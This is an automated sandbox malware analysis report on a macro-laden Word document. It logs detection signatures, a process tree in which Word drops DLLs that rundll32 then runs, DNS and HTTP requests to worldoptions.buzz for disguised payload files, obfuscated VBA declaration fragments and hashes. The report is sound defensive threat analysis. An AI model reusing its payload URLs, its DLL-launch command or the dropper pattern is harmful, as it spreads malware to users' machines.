Edit tour

Windows Analysis Report
template[1].doc

Overview

General Information

Sample Name:	template[1].doc
Analysis ID:	683638
MD5:	8f21756219d4e736219011174eb0534b
SHA1:	4429c35b62d55abe159e130c095fc988e640f3fd
SHA256:	394c97cc9d567e556a357f129aea03f737cbd2a1761df32146ef69d93afc73dc
Tags:	doc
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Document contains an embedded VBA which contains extensive loops (likely to delay execution)

Document contains an embedded VBA with many string operations indicating source code obfuscation

Office process drops PE file

Machine Learning detection for sample

Document contains an embedded VBA macro with suspicious strings

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

Document exploit detected (UrlDownloadToFile)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Document contains an embedded VBA macro which executes code when the document is opened / closed

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Potential document exploit detected (performs DNS queries)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality for execution timing, often used to detect debuggers

Document misses a certain OLE stream usually present in this Microsoft Office document type

Potential document exploit detected (unknown TCP traffic)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Uses a known web browser user agent for HTTP communication

Document contains embedded VBA macros

Dropped file seen in connection with other malware

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 752 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

taskeng.exe (PID: 412 cmdline: taskeng.exe {42E32873-DCC3-405E-9458-A04BFDF9CD6F} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

rundll32.exe (PID: 1748 cmdline: C:\Windows\system32\rundll32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll",Rdwmnjioffws MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

HTTP traffic detected: POST / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.Google.comContent-Length: 0Cache-Control: no-cache

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6D74B366-D4C8-464E-A7CA-80C94D1A45EA}.tmp

Jump to behavior

Source: unknown

DNS traffic detected: queries for: worldoptions.buzz

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4737230 LoadLibraryExW,GetProcAddress,ObtainUserAgentString,FreeLibrary,InternetOpenA,InternetConnectA,InternetCloseHandle,LoadLibraryW,HttpOpenRequestA,InternetCloseHandle,InternetCloseHandle,GetProcAddress,GetProcAddress,HttpSendRequestA,GetLastError,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,FreeLibrary,CreateDirectoryW,FreeLibrary,std::ios_base::_Ios_base_dtor,GetModuleHandleA,GetProcAddress,InternetReadFile,wcsstr,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,FreeLibrary,std::ios_base::_Ios_base_dtor,

5_2_000007FEF4737230

Source: global traffic	HTTP traffic detected: GET /agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.png HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: worldoptions.buzzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: worldoptions.buzzConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.185.228:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.52.80.180:443 -> 192.168.2.22:49175 version: TLS 1.2

System Summary

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Local\Temp\wnitmpo.dll			Jump to dropped file

Document contains an embedded VBA macro with suspicious strings

Source: template[1].doc	OLE, VBA macro line: Private Declare PtrSafe Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar" (ByVal LilIilljllJjLjIl As Long, ByVal LiIJJjiLLILjLLiL As Long, ByVal IjJIjiljLjLLiIlI As LongPtr, ByVal ljLLLJJilJJlIJLJ As Long, ByVal iLLiLJiiLJijIjjL As LongPtr, ByVal jjIILJillJlIiIij As Long) As Long
Source: template[1].doc	OLE, VBA macro line: Private Declare Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar" (ByVal LilIilljllJjLjIl As Long, ByVal LiIJJjiLLILjLLiL As Long, ByVal IjJIjiljLjLLiIlI As Long, ByVal ljLLLJJilJJlIJLJ As Long, ByVal iLLiLJiiLJijIjjL As Long, ByVal jjIILJillJlIiIij As Long) As Long
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE, VBA macro line: Private Declare PtrSafe Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar" (ByVal LilIilljllJjLjIl As Long, ByVal LiIJJjiLLILjLLiL As Long, ByVal IjJIjiljLjLLiIlI As LongPtr, ByVal ljLLLJJilJJlIJLJ As Long, ByVal iLLiLJiiLJijIjjL As LongPtr, ByVal jjIILJillJlIiIij As Long) As Long
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE, VBA macro line: Private Declare Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar"(ByVal LilIilljllJjLjIl as Long, ByVal LiIJJjiLLILjLLiL as Long, ByVal IjJIjiljLjLLiIlI as Long, ByVal ljLLLJJilJJlIJLJ as Long, ByVal iLLiLJiiLJijIjjL as Long, ByVal jjIILJillJlIiIij as Long) as Long
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE, VBA macro line: JbxLog "win32:" & jbxline & ":IJIiLJIJlllJIjIJ" & ":kernel32!MultiByteToWideChar"

Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF472BE90	5_2_000007FEF472BE90
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4726F10	5_2_000007FEF4726F10
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4725EE0	5_2_000007FEF4725EE0
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4734F60	5_2_000007FEF4734F60
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF475A4B0	5_2_000007FEF475A4B0
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF474679C	5_2_000007FEF474679C
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4737230	5_2_000007FEF4737230
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF475D380	5_2_000007FEF475D380
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4756EBC	5_2_000007FEF4756EBC
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4738F50	5_2_000007FEF4738F50
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF475000C	5_2_000007FEF475000C
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4724FF0	5_2_000007FEF4724FF0
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF475C92C	5_2_000007FEF475C92C
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4757994	5_2_000007FEF4757994
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF47499F8	5_2_000007FEF47499F8
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF474AB7C	5_2_000007FEF474AB7C
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4748C2C	5_2_000007FEF4748C2C
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4745480	5_2_000007FEF4745480
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4721470	5_2_000007FEF4721470
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4733510	5_2_000007FEF4733510
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4750630	5_2_000007FEF4750630
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF47425E4	5_2_000007FEF47425E4
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF474967C	5_2_000007FEF474967C
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF474B70C	5_2_000007FEF474B70C
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF47456F4	5_2_000007FEF47456F4
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4752744	5_2_000007FEF4752744
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4751808	5_2_000007FEF4751808
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF474A044	5_2_000007FEF474A044
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF472B0C0	5_2_000007FEF472B0C0
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4734190	5_2_000007FEF4734190
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4722180	5_2_000007FEF4722180
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4756160	5_2_000007FEF4756160
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4749218	5_2_000007FEF4749218
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4752394	5_2_000007FEF4752394
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF4721380	5_2_000007FEF4721380
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF474C350	5_2_000007FEF474C350
Source: C:\Windows\System32\rundll32.exe	Code function: 5_2_000007FEF47223E0	5_2_000007FEF47223E0

Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000007FEF47589A8 appears 48 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000007FEF4722D50 appears 51 times

Source: template[1].doc	OLE, VBA macro line: Sub DoCUmeNT_OPEn()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function DoCUmeNT_OPEn	Name: DoCUmeNT_OPEn
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE, VBA macro line: Sub DoCUmeNT_OPEn()

Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{78D6FE31-C42D-4CC6-B0D1-824575AF05A9}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: template[1].doc	OLE indicator, VBA macros: true
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE indicator, VBA macros: true

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll A2BE0FE4CAFBCA698873FADCA25970FE24DF6FD9C2F0DA1E2DEC6561A2C33177
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\wnitmpo.dll 0E209D2DE485637DF53C20C8425FF3F20AF6E04A46697D80F459EC6CD36C58B7

Source: template[1].doc

Virustotal: Detection: 12%

Source: C:\Windows\System32\taskeng.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {42E32873-DCC3-405E-9458-A04BFDF9CD6F} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll",Rdwmnjioffws
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll",Rdwmnjioffws	Jump to behavior

Source: C:\Windows\System32\taskeng.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32

Jump to behavior

Source: template[1].LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\template[1].doc

Source: template[1].doc

OLE indicator, Word Document stream: true

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$mplate[1].doc

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR61BE.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.expl.evad.winDOC@4/13@3/3

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4738F50 CoInitializeEx,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,SysAllocString,SysFreeString,SysAllocString,SysFreeString,SysAllocString,SysFreeString,CoUninitialize,SysAllocString,SysFreeString,SysAllocString,SysFreeString,CoUninitialize,SysFreeString,_time64,wcsftime,_com_util::ConvertStringToBSTR,SysFreeString,SysFreeString,GetWindowsDirectoryW,SysFreeString,SysFreeString,CoUninitialize,SysAllocString,VariantInit,VariantInit,SysFreeString,VariantClear,VariantClear,VariantClear,CoUninitialize,

5_2_000007FEF4738F50

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\taskeng.exe

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll",Rdwmnjioffws

Source: template[1].doc	OLE document summary: title field not present or empty
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	OLE document summary: edited time not present or 0
Source: ~WRF{78D6FE31-C42D-4CC6-B0D1-824575AF05A9}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{78D6FE31-C42D-4CC6-B0D1-824575AF05A9}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{78D6FE31-C42D-4CC6-B0D1-824575AF05A9}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: template[1].doc

Initial sample: OLE summary totaledittime = 403197

Source: ~WRF{78D6FE31-C42D-4CC6-B0D1-824575AF05A9}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Document contains an embedded VBA with many string operations indicating source code obfuscation

Source: template[1].doc	Stream path 'VBA/ThisDocument' : High number of string operations
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	Stream path 'VBA/ThisDocument' : High number of string operations

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4738BC0 LoadLibraryW,GetProcAddress,FreeLibrary,

5_2_000007FEF4738BC0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Local\Temp\wnitmpo.dll			Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF474679C EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_000007FEF474679C

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
